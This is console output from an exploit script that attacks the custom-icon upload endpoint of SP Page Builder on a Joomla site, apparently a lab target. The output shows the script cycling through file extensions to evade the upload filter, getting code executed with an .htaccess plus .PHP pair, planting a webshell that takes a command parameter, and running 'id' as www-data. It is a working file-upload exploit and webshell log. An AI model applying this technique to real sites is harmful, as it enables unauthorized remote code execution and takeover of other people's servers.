WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager, possibly rendering your system unusable. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv. Use the --root-user-action option if you know what you are doing and want to suppress this warning.
[*] target   : http://joomla
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php            -> rejected by filter
[*] try .php3           -> rejected by filter
[*] try .php4           -> rejected by filter
[*] try .php5           -> rejected by filter
[*] try .php7           -> rejected by filter
[*] try .pht            -> rejected by filter
[*] try .phtml          -> rejected by filter
[*] try .phar           -> rejected by filter
[*] try .PHP            -> uploaded, not executed
[*] try .pHp            -> uploaded, not executed
[*] try .Php            -> uploaded, not executed
[*] try .htaccess+.PHP  -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[+] webshell : http://joomla/media/com_sppagebuilder/assets/iconfont/icomfbpbq/fonts/fpxuvlh.PHP?t=fdhciaimrvwmyfvt&c=<cmd>
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[!] 4 artifact dir(s) left (re-run with --cleanup): /media/com_sppagebuilder/assets/iconfont/icocyemgt, /media/com_sppagebuilder/assets/iconfont/icorhzugy, /media/com_sppagebuilder/assets/iconfont/icouwbqcu, /media/com_sppagebuilder/assets/iconfont/icomfbpbq